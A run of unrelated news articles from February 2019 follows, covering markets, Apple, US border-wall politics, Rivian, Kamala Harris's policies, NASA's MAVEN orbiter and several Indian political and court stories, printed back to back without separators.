"There's still a level of uncertainty there but at least the rhetoric does not show he is digging his heels in, so the market has quite rightly taken it as a positive," said Justin Onuekwusi, fund manager at Legal & General Investment Management.

On Wall Street, the Dow Jones Industrial Average rose 117.51 points, or 0.46 percent, to 25,543.27, the S&P 500 gained 8.3 points, or 0.30 percent, to 2,753.03 and the Nasdaq Composite added 5.76 points, or 0.08 percent, to 7,420.38.

The rise in U.S. benchmark Treasury yields came after data showed core consumer prices rose in January. The core Consumer Price Index, excluding food and energy components, gained 0.2 percent, rising by the same margin for a fifth month.

"The Fed's new reaction function is they need to see inflationary pressures before they hike again, and clearly we've seen those inflationary pressures aren't there," said Mohammed Kazmi, portfolio manager at UBP in Geneva.

China's blue-chip CSI 300 rose around 2 percent to a four-month high, with tech shares leading gains.

Progress on another issue unnerving markets - a deal to fund the U.S. government and avoid another possible government shutdown - also provided a boost to risk appetite.

Story continues

The Cboe Volatility Index, Wall Street's so-called "fear gauge," dropped overnight to 14.95, its lowest since October.

Emerging market stocks faltered, trading flat on the day. Bank of America Merrill Lynch said on Tuesday investors saw emerging markets as the "most crowded" trade for the first time ever.

In commodities, oil prices surged nearly 2 percent after OPEC said it slashed production in January and as U.S. sanctions hit Venezuela's oil exports.

(Reporting by David Randall; Editing by Bernadette Baum, Susan Thomas and Sonya Hepinstall)If youve felt like its been ages since Apple announced anything, you probably need to relax, but also rejoice! The company is reportedly planning to host a product launch event in California on March 25, BuzzFeed reported today (Feb. 12). Thats just six short weeks away.

The company is expected to unveil a new subscription news services, BuzzFeed says. The Wall Street Journal reported earlier today (paywall) that many publishers are wary of Apples forthcoming $10-per-month service, which will bring together news from behind many sites paywalls into one feed, as the company is apparently asking for 50% of the subscription revenue.

As iPhone sales soften, Apple has become more reliant on its growing services business, which includes subscriptions to iCloud storage, Apple Music, AppleCare, and sales of app and content downloads. The company is also expected to launch a video streaming service, replete with original content from the likes of Steven Spielberg and Oprah, in the near future. Its unclear whether this service will be ready for the spring event, and whether it would be supported by any new hardware.

Last years March event took place at a public school in Chicago, and was focused on the iPad and its role in education, so its not without precedent that Apple would host an event solely around a relatively niche topic.

Apple declined to comment on todays news report.

Sign up for the Quartz Daily Brief, our free daily newsletter with the worlds most important and interesting news.

More stories from Quartz:Apple's Autonomous Cars Need Much More Human Help Than Its Rivals

(Bloomberg) -- Apple Inc.s autonomous test vehicles are relying on significantly more human intervention than Alphabet Inc.s Waymo or General Motors Co.s Cruise cars, an indication the iPhone maker may lag well behind on the technology.

Test drivers disengaged the autonomous mode on Apples cars once almost every mile, based on data the company disclosed in an annual report to Californias Department of Motor Vehicles. Waymos cars went about 11,017 miles between disengagements, and Cruises went 5,205 miles.

The California reports, which measure how many times human safety drivers take back control or interfere with self-driving systems, are both rare and incomplete snapshots of how companies autonomous cars are coming along. Other states, including Arizona and Florida, have lured automakers, tech giants and startups to test elsewhere in part by refraining from disclosure requirements.

An Apple spokesman didnt immediately respond to a request for comment. The company, which started working on self-driving technology years after Waymo and others, has been critical of Californias disengagement-reporting system.

Although access to data on the safety of test vehicles is key for the public to accept the technology, Apple told the DMV in April 2017 that its reporting requirements do not achieve this result. It suggested including metrics such as successfully prevented crashes. Companies that report to California also have made the argument that not all miles they test drive are comparable -- highway driving on sunny freeways is much easier than navigating city traffic or snowy mountain passes.

While Apples results suggest the company may be a straggler, its self-driving cars havent been involved in significant reported accidents. The cars have been involved in minor collisions that were determined to be the fault of other vehicles. Uber Technologies Inc. suspended autonomous testing for much of last year after one of its vehicles killed a pedestrian in Arizona last March.

Story continues

Apple first put its cars on public roads in spring 2017. The company has been working on the technology since around 2015, when it initiated Project Titan, which began as a plan to build an autonomous electric car to compete with Tesla Inc. By the following year, Apple had scaled back from plans to build a car, choosing to instead focus on self-driving technology.

In 2017, Apple Chief Executive Officer Tim Cook told Bloomberg Television that the companys work on autonomous systems is the the mother of all AI projects and said its probably one of the most difficult artificial intelligence efforts to work on. Last year, the company hired Doug Field, a former chief engineer for Tesla, to oversee its project alongside Bob Mansfield, who used to be senior vice president of hardware engineering.

In January, Apple scaled back Project Titan again, laying off some employees and assigning others to different artificial intelligence teams within the company. Over the course of the last six months, two employees on the team allegedly attempted to steal trade secrets for China-based self-driving car companies. According to related lawsuits, Apple has about 1,200 people working on the project.

Zoox Inc., the Silicon Valley startup thats hired away engineers from the likes of Apple, Google and Tesla, reported 1,922 miles between disengagements. Nuro, which just secured $940 million in financing from the SoftBank Vision Fund, had vehicles travel about 1,028 miles between driver interventions.

--With assistance from Gerrit De Vynck and Dana Hull.

To contact the reporter on this story: Mark Gurman in San Francisco at mgurman1@bloomberg.net

To contact the editors responsible for this story: Craig Trudell at ctrudell1@bloomberg.net, ;Tom Giles at tgiles5@bloomberg.net, Alistair Barr

For more articles like this, please visit us at bloomberg.com

2019 Bloomberg L.P.Senate Majority Leader Mitch McConnell, R-Ky., left, joined by Majority Whip John Thune, R-S.D., center, and Sen. Richard Shelby, R-Ala., right, chair of the Senate Appropriations Committee and the top Senate border security negotiator, speaks to reporters about the bipartisan compromise worked out last night to avert another government shutdown, at the Capitol in Washington, Tuesday, Feb. 12, 2019. (AP Photo/J. Scott Applewhite)

WASHINGTON (AP)  Republicans in Congress never really wanted to build the wall.

It wasn't a priority like tax cuts, which are a raison d'etre of Republican domestic policy. And it wasn't their own campaign pledge to voters, like the vow to repeal and replace Obamacare that became hard to keep.

President Donald Trump's signature campaign rally cry  "Build the Wall!"  was always more of a slogan than a policy. A "metaphor," Republicans have called it  shorthand for the more complicated trade-offs that would be required for an immigration-and-border security deal. A "MacGuffin," as one former top GOP aide put it Tuesday, only there to motivate action  in Trump's case, for support.

That's why funding the wall languished when Republicans controlled Congress, and why they now appear willing to take far less than the $5.7 billion Trump demanded in a deal with Democrats to prevent another partial government shutdown.

Alfonso Aguilar, a Department of Homeland Security official in the George W. Bush administration, said Trump's wall became so "toxic" it drove away support. Even routine funding for border barriers and fences that have anchored security policy for more than a decade  some 700 miles already being built became off limits.

"The problem is the president only talks about the big, beautiful wall," said Aguilar, the president of the Latino Partnership for Conservative Principles.

And for Trump, he said, that quickly becomes a launching point to rail against drug smugglers and human traffickers in caravans at the border, though it's clear that the vast majority of immigrants trying to enter the country illegally are not such criminals.

"The language hurts Trump," Aguilar said. "What we didn't like was the tone about the wall."

Of course Republicans want to secure the borders. Both parties do. But they have different views on how to do it. And more importantly for counting votes in the House and Senate, they diverge on how much to pay for it and what other immigration changes to swap in return.

Story continues

Sen. Ron Johnson, R-Wis., the chairman of the Homeland Security Committee, recalled an early conversation when he asked Trump on the presidential campaign trail: "'You understand it's way more complex than just building a wall?' He said he understood that."

Michael Steel, a top aide to then-House Speaker John Boehner, R-Ohio, said the party agrees that border security should be a priority in Congress. But he said, "no one believes a Great Wall of China-style edifice along the Rio Grande is the answer to our problems."

It was against that backdrop late last year Democratic House leader Nancy Pelosi, about to take majority control of the House and become speaker, held firm against Trump's demands and called the wall immoral. Democrats reminded voters that Trump once promised Mexico would pay for it.

Pelosi all but dared Republicans to show their cards, essentially taunting Trump during a meeting at the White House in December that he did not have the votes to support his demand for billions of dollars of wall money.

She had a point. Republicans had not pushed their bill forward during two years of control of the House and the Senate as well as the White House, partly because the GOP budget hawks would balk at the spending and centrists wouldn't want to fund the wall without addressing other immigration provisions, including deportations for young immigrants in the U.S. illegally, known as "Dreamers."

To prove Pelosi wrong, House Republicans quickly muscled Trump's $5.7 billion border wall money to passage as one of the final votes of their majority. GOP House leader Kevin McCarthy and others took a victory lap.

But the Republican success was short-lived. The bill went nowhere in the Senate and Congress left town for the Christmas holidays, sparking what would become a 35-day partial government shutdown, the longest in U.S. history.

On Tuesday, Trump said he wasn't "thrilled" with the compromise to prevent another shutdown, which would begin on Saturday. The bipartisan budget deal emerging in Congress provides nearly $1.4 billion for barriers and fencing, but no new money for the wall.

Senate Majority Leader Mitch McConnell encouraged Trump to hold off any decisions until he read through the details of the package. The GOP leader called it a "pretty good deal."

A top Republican negotiator, Sen. Richard Shelby of Alabama, the chairman of the Appropriations Committee, put it this way: "We're going to build a structure. And we're going to secure America."

Trump has not said whether he will support the deal, but he appeared to have already moved on to the next fight. As the agreement was coming together Monday night behind closed doors on Capitol Hill, the president was test driving a new campaign slogan at a rally with thousands in the border city of El Paso, Texas.

When the crowd erupted with the build-the-wall chant, Trump offered a new one, for his 2020 re-election campaign.

"You really mean 'finish the wall,'" he said, "because we built it."

___

EDITOR'S NOTE  AP Congressional Correspondent Lisa Mascaro has covered Congress since 2010.

___

Follow on Twitter at https://twitter.com/lisamascaro

An AP News Analysis(Adds details on GM's strategy)

By Harry Brumpton and Stephen Nellis

Feb 12 (Reuters) - Amazon.com Inc and General Motors Co are in talks to invest in Rivian Automotive LLC in a deal that would value the U.S. electric pickup truck manufacturer at between $1 billion and $2 billion, people familiar with the matter said on Tuesday.

The deal would give Amazon and GM minority stakes in Rivian, the sources said. It would be a major boost for the Plymouth, Michigan-based startup, which aspires to be the first carmaker to the U.S. consumer market with an electric pickup.

If the negotiations conclude successfully, a deal could be announced as early as this month, the sources said, asking not to be identified because the matter is confidential. There is always a chance that deal talks fall through, the sources cautioned.

"We admire Rivian's contribution to a future of zero emissions and an all-electric future," GM said in an emailed statement, declining to specifically comment on any talks with Rivian.

Rivian declined comment. Amazon did not respond to requests for comment.

The Rivian deal would come as its much larger electric car manufacturing rival, Tesla Inc, struggles to stabilize production and deliver consistent profits as it rolls out its flagship Model 3 sedan.

Tesla CEO Elon Musk told investors last August that an electric pickup is "probably my personal favorite for the next product" from the company, though he has spoken only in general about a potential launch, saying that it would happen "right after" Tesla's Model Y, which the company has targeted to start production in 2020.

'SKATEBOARD' PLATFORM

Rivian intends to begin selling its R1T, the pickup it debuted in November, in the fall of 2020. The company was founded in 2009 by CEO R.J. Scaringe.

Scaringe has described the Rivian vehicle's platform as a "skateboard" that packages the drive units, battery pack, suspension system, brakes and cooling system all below wheel height to allow for more storage space and greater stability due to a lower center of gravity.

Story continues

He has also said the company plans to partner with outside firms to develop advanced self-driving technology, rather than try to do so on its own.

Big automakers, including GM, have not jumped into the market for electric pickups thus far. GM CEO Mary Barra has said it has given a "tiny bit" of thought to developing all-electric pickups.

The No. 1 U.S. automaker is counting on profit from sales of conventional large pickup trucks and sport utility vehicles in North America to fund its electrification push. GM said last November it was doubling resources allocated to developing electric and self-driving vehicles, as part of a significant restructuring that included ending production at five North American plants.

GM last month announced a strategy to make its luxury Cadillac its lead electric vehicle brand, revealing it would be the first vehicle built on the Detroit automakers "BEV3" platform to challenge Tesla. GM has said one of the first fully electric Cadillac models using the new platform would hit the market around 2022.

Amazon has also invested in self-driving car startup Aurora Innovation Inc, in a $530 million funding round announced last week. The worlds largest online retailer has steadily increased its logistics footprint, building warehouses around the world and inking deals with Mercedes as well as cargo airlines to help with delivery.

Rivian's existing financial backers include Saudi auto distributor Abdul Latif Jameel Co (ALJ), Sumitomo Corp of Americas and Standard Chartered Bank. ALJ has agreed to provide almost $500 million in funding, Sumitomo invested an undisclosed amount, and Standard Chartered provided debt financing of $200 million. (Reporting by Harry Brumpton in New York and Stephen Nellis in San Francisco Additional reporting by Ben Klayman in Detroit and Jeffrey Dastin in San Francisco; editing by Bill Rigby)BAGHDAD, Feb 12 (Reuters) - Acting U.S. Defense Secretary Patrick Shanahan arrived in Baghdad on Tuesday for an unannounced trip that the State Department said would emphasize the importance of Iraqi sovereignty and discuss the future of U.S. troops there.

The visit comes after President Donald Trump said this month that an American presence was needed to watch Iran.

In his first trip to Iraq, Shanahan is set to also discuss the withdrawal of American troops from Syria with U.S. commanders and meet with Iraqi officials, including Prime Minister Adel Abdul Mahdi. (Reporting by Idrees Ali; editing by John Stonestreet)Sen. Kamala Harris, D-Calif., is running for president as a self-described "progressive prosecutor" whose chief goal will be raising incomes for working people.

Pollsters put her near the top of the pack, though she lags former vice president Joe Biden and Sen. Bernie Sanders, the Vermont independent, who are both expected to jump into the race before long.

Sen. Kamala Harris, D-Calif., is running for president as a self-described "progressive prosecutor" whose chief goal will be raising incomes for working people.

Pundits quickly dubbed Harris the Democrat's front-runner in a crowded primary field that features four of her Senate colleagues already. Still, in polls she lags behind former vice president Joe Biden and Sen. Bernie Sanders, the Vermont independent, who are both expected to jump into the race before long.

Harris was elected to the U.S. Senate in 2016, and before that served as attorney general of California, one of the most important law enforcement positions in the country. She was the first black person to hold the role, as well as the first woman, according to her campaign.

The California senator's liberal bona fides have come under scrutiny from progressives, who say that Harris supported tough-on-crime policies as a prosecutor that disproportionately hurt minorities and the poor, such as criminalizing truancy. Harris has defended her record.

Raising incomes

Her positions as a presidential candidate are clearly to the left of center.

Harris's number one priority is her plan to "give working and middle class families up to $500 more per month," according to spokesman Ian Sams. In a post on Twitter, Sams said the campaign "is about raising incomes for people."

The senator introduced her $500-a-month proposal in October 2018, citing a survey which found that a majority of Americans did not have enough saved to cover an unexpected $500 expense.

Her proposal would grant $6,000 a year to families earning less than $100,000 a year, and $3,000 annually to individuals earning less than $50,000. The funds would come in the form of tax credits, and workers could choose to receive the payments in monthly installments or in one lump sum.

Story continues

About half of American families would receive a tax cut, with nearly all of the cuts going to those making less than $87,000, according to the Tax Policy Center . The nonpartisan think tank said it was not clear how Harris would pay for her plan and that her current proposals to do so, including rolling back the GOP tax cuts passed in 2017, "would fall far short."

Indeed, the plan is one of the mostly costly Democratic proposals introduced by a contender for the presidency. Over ten years, it would reduce federal revenue by about $2.8 trillion, according to an analysis from the nonpartisan Tax Foundation .

The bill would primarily benefit the middle and working class. It would lift 9 million people out of poverty, including 3 million children, according to a calculation by the Center on Budget and Policy Priorities.

Progressives have argued that the plan neglects the poorest Americans in order to provide assistance to those "who are on the rung just above them."

But the campaign has said more proposals are on their way.

"She will continue to outline big ideas to help more Americans throughout this very long primary campaign," Sams said in an email.

Harris has also proposed legislation that would make access to housing easier for many Americans. She proposed legislation in 2018 that would enable those making less than $100,000 a year and spending more than 30 percent of their income on rent to claim tax credits to help ease their housing costs.

Medicare for All

Harris is a supporter of Medicare for All and was one of the first lawmakers to sign onto the sweeping proposal introduced by Sanders in 2017.

Last December, Harris wrote an article in The New York Times detailing her mother's struggle and eventual death from cancer. She wrote that she was "so grateful my mother had Medicare, and I will fight for it to be guaranteed to all."

Multiple Democratic contenders have backed Medicare for all in some form, and how far each is willing to go will be a key policy question during the primary process.

Harris made waves by saying during a CNN town hall last month that she would support eliminating private insurers entirely. Aides later clarified that she would continue to back more moderate proposals as well, even if her first choice was the elimination of insurers.

At least four of Harris's fellow Senate lawmakers running or likely to run for president  including Sanders, Sen. Kirsten Gillibrand of New York, Sen. Cory Booker of New Jersey, and Sen. Elizabeth Warren of Massachusetts  have also backed Medicare for All proposals.

Criminal justice reform

Harris, who has only served in the Senate for about half a term, is running on her record as California's attorney general and as the district attorney of San Francisco.

While she has said that she was a "progressive prosecutor," her record has been criticized by progressives who reject that characterization, pointing to a variety of moderate or right-leaning stances she took at the time, such as her refusal while attorney general to support a bill that would have required her office to investigate fatal shootings by police.

Harris said during her CNN town hall that she did not take positions on legislation at the time, though The Washington Post identified dozens of cases where that was untrue. (A spokeswoman told the outlet that Harris misheard the question.)

As president, Harris has said that she would push for reform of the cash bail system and to legalize marijuana at the federal level. Experts have said reforming the bail system and taxing marijuana sales could raise revenue.

The senator proposed her bail reform bill alongside Republican Sen. Rand Paul of Kentucky in 2017.

Money bail typically requires individuals to pay for their release from jail while they await trial. Harris's Pretrial Integrity and Safety Act would encourage states to reform or replace their cash bail policies.

"In our country, whether you stay in jail or not is wholly determined by whether you're wealthy or not  and that's wrong," Harris said in a statement when she introduced the bill. "We must come together to reform a bail system that is discriminatory, wasteful, and fails to keep our communities safe."

Harris has also championed the legalization of marijuana in recent years, something she opposed while a California prosecutor. In her campaign memoir released this year, Harris wrote that she believed in "dismantling the failed war on drugsstarting with legalizing marijuana."

She has said that legalization would need to be accompanied by further research into the drug, as well as a solution for regulating use of marijuana by drivers.





More From CNBC

NASA's 4-year-old atmosphere-sniffing Mars Atmosphere and Volatile Evolution (MAVEN) mission is embarking on a new campaign today to tighten its orbit around Mars. The operation will reduce the highest point of the MAVEN spacecraft's elliptical orbit from 3,850 to 2,800 miles (6,200 to 4,500 kilometers) above the surface and prepare it to take on additional responsibility as a data-relay satellite for NASA's Mars 2020 rover, which launches next year.

"The MAVEN spacecraft has done a phenomenal job teaching us how Mars lost its atmosphere and providing other important scientific insights on the evolution of the Martian climate," said Jim Watzin, director of NASA's Mars Exploration Program. "Now we're recruiting it to help NASA communicate with our forthcoming Mars rover and its successors."

While MAVEN's new orbit will not be drastically shorter than its present orbit, even this small change will significantly improve its communications capabilities. "It's like using your cell phone," said Bruce Jakosky, MAVEN principal investigator from the University of Colorado, Boulder. "The closer you are to a cell tower, the stronger your signal."

A strong telecommunications antenna signal is not the only benefit of a tighter orbit. Coming in nearly 1,000 miles (about 1,500 kilometers) closer also will allow the MAVEN orbiter to circle Mars more frequently -- 6.8 orbits per Earth day versus 5.3 previously -- and thus communicate with the Mars rovers more frequently. While not conducting relay communications, MAVEN will continue to study the structure and composition of the upper atmosphere of Mars. "We're planning a vigorous science mission far into the future," Jakosky said.

The MAVEN mission was designed to last two years in space, but the spacecraft is still operating normally. With the mission managing its fuel to last through 2030, NASA plans to use MAVEN's relay capability as long as possible. The MAVEN orbiter carries an ultra high-frequency radio transceiver -- similar to transceivers carried on other Mars orbiters -- that allows it to relay data between Earth and rovers or landers on Mars. The MAVEN spacecraft already has served occasionally as NASA's communication liaison with the Curiosity rover.

Over the next few months, MAVEN engineers will use a navigation technique known as aerobraking -- like applying the brakes on a car -- to take advantage of the drag of the Red Planet's upper atmosphere to slow the spacecraft down gradually, orbit by orbit. This is the same drag you would feel if you put your hand out of the window of a moving car.

Based on the tracking of the spacecraft by the navigation team at NASA's Jet Propulsion Laboratory in Pasadena, California, and at Lockheed Martin in Littleton, Colorado, engineers will begin carefully lowering the lowest part of the spacecraft's orbit into the Martian upper atmosphere over the next couple of days by firing its thrusters. The spacecraft will circle Mars at this lower altitude about 360 times over the next 2.5 months, slowing down slightly with each pass through the atmosphere. While it may seem like a time-consuming process, aerobraking is the most efficient way to change the spacecraft's trajectory, said Jakosky: "The effect is the same as if we fired our thrusters a little bit on every orbit, but this way, we use very little fuel."

Fortunately, the team has ample experience operating the spacecraft at these lower altitudes. On nine previous occasions throughout the mission, MAVEN engineers have dipped the orbiter into the same altitude targets for aerobraking to take measurements of the Martian atmosphere. As a result of these "deep dips" and other measurements, NASA has learned that solar wind and radiation had stripped Mars of most of its atmosphere, changing the planet's early climate from warm and wet to the dry environment we see today. MAVEN also discovered two new types of auroras on Mars and the presence of charged metal atoms in its upper atmosphere that tell us that a lot of debris is hitting Mars that may affect its climate.

MAVEN's principal investigator is based at the University of Colorado's Laboratory for Atmospheric and Space Physics, Boulder. The university provided two science instruments and leads science operations, as well as education and public outreach, for the mission. NASA's Goddard Space Flight Center in Greenbelt, Maryland, manages the MAVEN project and provided two science instruments for the mission. Lockheed Martin built the spacecraft and is responsible for mission operations. The University of California at Berkeley's Space Sciences Laboratory also provided four science instruments for the mission. NASA's Jet Propulsion Laboratory in Pasadena, California, provides navigation and Deep Space Network support, as well as the Electra telecommunications relay hardware and operations.

###New Braunfels, TX (78130)

Today

Cloudy skies early, followed by partial clearing. High around 95F. Winds SSE at 10 to 20 mph..

Tonight

A few clouds. Low 77F. Winds SSE at 10 to 20 mph.On Wednesday, the Narendra Modi government, which is keen to get parliamentary approval for the Triple Talaq Bill, will table it in the Rajya Sabha. Union Law Minister Ravi Shankar Prasad will move The Muslim Women (Protection of Rights on Marriage), Bill in the Rajya Sabha. The Triple Talaq Bill was passed in the Lok Sabha on December 27 last year with 245 votes in favour and 11 against the Bill.

However, the opposition parties want the Bill to be sent to the Select Committee of Parliament for further vetting - a demand rejected by the Centre. The Bill criminalises the practice of instant triple talaq with a provision of three years imprisonment to the erring husband.

also read Horrific incident! A girl's family killed her and cut the bodies into pieces and burned using petrol

It is to be noted that on Tuesday, an indefinite curfew was imposed in Manipur capital Imphal and mobile internet services suspended till February 16 across the state in view of the continued protests against the Citizenship (Amendment) Bill. The state capital straddles Imphal East and Imphal West districts.

However, an ordinance was re-promulgated in January this year as the revised Bill could not be passed in the Rajya Sabha where the government lacks a majority. The issue of triple talaq was taken up in the Parliament in August last year after a five-judge bench of the Supreme Court ruled "unconstitutional" a practice that allows Muslim men to divorce their wives simply by uttering "talaq" three times in quick succession.

In a landmark 3-2 verdict, the apex court found the practice un-Islamic and "arbitrary", and disagreed that triple talaq was an integral part of religious practice.

Meanwhile, the Citizenship Amendment Bill, seeking to provide citizenship to non-Muslims migrants from Afghanistan, Pakistan and Bangladesh is also expected to be tabled in Rajya Sabha on Wednesday amidst ongoing protest in Northeast. With the Winter Session coming to an end on Wednesday, the Centre will try to give one last push so that the bill gets the Upper House nod.

also read In January 2019, Tata Motors Global Sales fall by 12 Per centNew Delhi: While male voters want corruption to be given top priority by political parties, for women it is crimes against women that should get precedence in the next Lok Sabha elections, according to a new survey.



The survey, by Change.Org, an online platform for social change that allows people to start and support campaigns on issues concerning them, found that there was a strong wave in favour of more women candidates.

The online survey was conducted among 20,000 Change.Org users across the country, which included 4,000 women and 16,000 men.

Among a list of 40 issues, most likely to impact the Lok Sabha elections, female respondents ranked crimes against women on top. Men ranked it much lower (at 15th position) on the priority list.

Both men and women respondents said they would vote for women candidates, if equally qualified. They felt women were grossly under-represented in Parliament despite the public opinion that women were "more likely to hear and connect with issues."

"It is not that political parties do not talk about women's safety in their manifestos. Crime against women is certainly a matter of concern and is an issue, which is raised by all parties, but the problem lies in implementing solutions on the ground," Brinda Karat, Rajya Sabha MP from CPI, told IANS.

Of the 40 issues given as options, women voters felt issues, like education, freedom of choice in religion and freedom to marry out of their choice, needed to be addressed.

Marital rape, female participation in workforce, menstrual hygiene, girl child education, maternal health and infant mortality were also voted by the women as issues politicians must talk about.

Environmental issues, waste disposal, air pollution and forest conservation too were concerns for women going into this year's elections.

But apart from seeing more female participation in politics, none of the issues highlighted by women were given priority by the men. Other than corruption, men wanted politicians to discuss issues like infrastructure, job creation and roads.

As per the survey, 17 per cent of women preferred to vote for candidates based on his/her track record as opposed to 21.9 per cent men. But 56.64 per cent of the respondents said they would vote for an equally-qualified female candidate over her male counterpart.

The survey also showed people wanted to play a bigger role in the democracy that goes beyond just casting vote. Around 57.53 per cent of the respondents wanted to be able to provide public inputs in policy-making via public consultations and meetings, while 55.76 per cent wanted to participate through digital petitions.

However, women were less likely to go for personal meetings with elected representatives and preferred digital petitions for public decision-making.

"Change.org's #SheVotes survey finds that women want to directly engage with politicians but are still uncomfortable with face-to-face meetings. They prefer digital petitions as a significant way of connecting with their elected representatives. The survey also shows gender issues will play an important role in the upcoming general elections," said Nida Hasan, Country Director, Change.org India.Women who use birth control pills may have a poor judgement of subtle facial expressions, which could impact their intimate relationships, according to a study.



Scientists from the University of Greifswald in Germany challenged women to identify complex emotional expressions like pride or contempt, rather than basic ones like happiness or fear.

They revealed subtle changes in emotion recognition associated with oral contraceptive pill (OCP) use.

The study, published in the journal Frontiers in Neuroscience, found that OCP users were nearly 10 per cent worse on average than non-users in deciphering the most enigmatic emotional expressions.

The finding raises questions over the possible impact of OCPs on social interactions in intimate relationships, researchers said.

Women deciding whether to take an oral contraceptive have access to a lot of reliable information about the potential physical effects, they said.

Besides birth control, hormonal contraceptives can help control acne, heavy periods and endometriosisas well as reducing the risk of ovarian, uterine and colon cancers, the researchers said.

On the downside, the pill can increase slightly the risk of breast and cervical cancer, blood clots and high blood pressure, they said.

However, the psychological effects of OCP use are less well documented.

"More than 100 million women worldwide use oral contraceptives, but remarkably little is known about their effects on emotion, cognition and behaviour," said Alexander Lischke of the University of Greifswald.

"However, coincidental findings suggest that oral contraceptives impair the ability to recognise emotional expressions of others, which could affect the way users initiate and maintain intimate relationships," Lischke said.

The researchers administered a special emotion recognition task to two similar groups of healthy women: 42 OCP users, and 53 non-users.

"If oral contraceptives caused dramatic impairments in women's emotion recognition, we would have probably noticed this in our everyday interactions with our partners," said Lischke.

The researchers used a very challenging emotion recognition task that required the recognition of complex emotional expressions from the eye region of faces.

The results were subtlebut very clear: OCP users were less accurate in the recognition of the most subtle complex expressions than non-usersby nearly 10 per cent, on average.

"Whereas the groups were equally good at recognising easy expressions, the OCP users were less likely to correctly identify difficult expressions," Lischke said.Jaipur: Robert Vadra, who is being probed by the Enforcement Directorate (ED) in various cases, alleged the Narendra Modi government was being 'vindictive' and was harassing his 75-year-old mother as elections were approaching.

Vadra, Congress president Rahul Gandhi's brother-in-law, asked as to why the government took four years and eight months in calling him for questioning, a month before campaigning begins for the general elections.

"Do they think people in India do not view it as an election gimmick?" he said in a Facebook post.

His outburst in the Facebook post came just before he and his mother Maureen appeared before the Enforcement Directorate at its zonal office in Jaipur in connection with a probe into an alleged land scam in the Rajasthan's border town of Bikaner. AICC general secretary and his wife Priyanka Gandhi accompanied them to the ED office.

"So here we are my 75-year-old mother and me in Jaipur to depose in front of the Enforcement Directorate [sic]. Not understanding the lows of this vindictive government to be harassing a senior citizen, who the world knows has lost her daughter in a car crash, her ailing son to diabetes, and her husband as well," Vadra said.

"Three deaths and all I did was to ask her to spend time with me in my office, so I can look after her and we both could grieve on our losses, while spending time together," he said.

Vadra alleged that his mother was now being accused, maligned and called to be interrogated, for spending time in his office.

He said he has already been interrogated for three days in ED's Delhi headquarters.

"As I always have adhered to rules and overall being a disciplined person, I have the ability to sustain any amount of hours of questioning and having nothing to hide, I will answer every question with respect and dignity. This too shall pass and will make me stronger.

"What goes around comes around. God is with us!" Vadra said.

Apart from the alleged land scam in the Rajasthan's border town of Bikaner, Vadra is also being investigated by the ED in connection with two other cases.

This is Vadra's fourth appearance before the agency and first in Jaipur. On the last three occasions, he appeared before ED in Delhi in connection with a money laundering probe against him for his alleged role in procuring assets abroad.

Read more: Latest India newsKottayam: Preliminary hearing in Kevin murder case will begin at the District Additional Sessions Court (4) Wednesday. The case comes under honour killings, requiring a verdict within six months.

The prosecution will argue that Kevin P Joseph was killed over vendetta and caste equations after he married Neenu from another community. Those in remand are prime accused Neenus brother Sanu Chacko, Niyas (2nd accused), Riyas (4th), Neenus father Chacko (5th), Shefin Shajad (7th) and Vishnu aka Appu (10th).

Kevin P Joseph, a Dalit Christian, was abducted and killed by a gang of criminals allegedly engaged by his fiancee Neenu's relatives. His body was found in a river in Kollam district on May 28, 2018.

Crucial points

* Kevins autopsy revealed he drowned in Chaliyakkara River, Kollam. A higher medical board concurred with the finding.

* Statements from Neenu, Kevins relative Aneesh and phone conversation between Sanu and policemen are vital to the case.

* The prosecution will focus on the terrain where the incident took place to establish that Kevins death was indeed murder and not accident. The accused travelled 103 km with him from Kottayam. The river has forest on the one side and a 1,500-acre estate on the other.

* Images from traffic cameras are key too. A vehicle used by the accused was captured on the traffic polices cameras on the Kodimatha four-lane when Kevin was taken to Kottayam first and then to Thenmala. The vehicle was caught speeding at 1:36am and 2.30am that day.

* The cars can be seen on other CCTV cameras too. One at a school in Mannanam and another at a house by the roadside in Chaliyakkara showing images of the Innova and Wagon R used by the accused. Their number plates had been smudged with mud to evade recognition.

* Eyewitnesses in the case also include policemen who face expulsion and disciplinary action. ASI TM Biju from Gandhinagar Station and driver Ajaya Kumar from the same station are witnesses 10 and 45, respectively. The two are under investigation for taking bribe from the accused to favour them. An internal procedure to expel Biju and restrict Ajayas allowances are undergoing. Their eyewitness account in the same case will be important.

14 accused

Other accused in the case are Ishaan (3), Manu Muralidharan (6), Nishad (8), Tittu Gerome (9), Fasil Sherif (11), Shanu Shajahan (12), Shinu Nasar (13), Remis (14).

Three cars used by accused, autopsy report, mobile phone data, CCTV images and 190 other documents make the prosecutions evidence, apart from 176 eyewitnesses.

10 sections apply

Ten sections of the IPC are applied against the 14 accused; 302  murder, that could attract death penalty, 364(A)  kidnapping for ransom, 120(B)  conspiracy, 449  house-trespass, 321  voluntarily causing hurt, 342  wrongful confinement, 506(2)  criminal intimidation, 427  mischief causing loss, 201  destruction of evidence and 34  furtherance of common intention.

Read more: Latest Kerala newsKozhikode: Rumours about Mizoram Governor Kummanam Rajasekharans candidacy from Thiruvananthapuram Lok Sabha seat are rife even as the BJP and the RSS are reportedly keen on the former Kerala party chief making a return to electoral politics. He himself is ready to contest from this constituency if BJP's central leadership agrees, as his interview with Manorama News on Tuesday revealed.

Barely a year into his ascent as governor on May 29, 2018, debates on Kummanams return to state politics are hot. Kummanam's visit to Kerala becomes important for the same reason. At least an unofficial meeting with the RSS leadership here is on the cards. This interview happened at the Kozhikode guest house on the backdrop of such political speculations.

How do you feel about the discussions on the current political scenario in Kerala?

Well, people are saying all kinds of things.

It (Governorship) is not a designation that can be thrown away just like that. The central leadership has to take a call, convey it to the President of India and above all a successor has to be found. Its not that easy. It was the organisations decision. I have always been a team player. My personal choices are not of importance. I am ready to return and take to active politics again. But the leadership has to make that call. I could go anywhere and meet anyone before. Now there are security restrictions.

Are you happy to keep away from controversies?

Not at all. Its all part of a social workers life. There should be criticism and controversies. Right has a place only where there is wrong. I have never wished to keep away from controversies.

Your speech in Mizo language on the Armed Forces Day was much debated on social media.

[Kummanam laughs, speaks after a pause.] Mizo is a language without script. My secretary wrote the speech in Malayalam. Usually governors speak in English. But it was decided to go with the local language this time. It is a tough language to learn.

Reflections on Mizoram

Its all mountains and hillocks there. Schools dont have flat playgrounds. Higher education, especially in science and engineering, are practically unavailable. As many as 114 students were brought from Mizoram to Thiruvananthapuram to study engineering

Some places are inaccessible by vehicles. Some have no roads. Areas under governors direct control are frequently visited. There are no medical colleges. Though forest dwellers, most people lead modern lifestyles there.

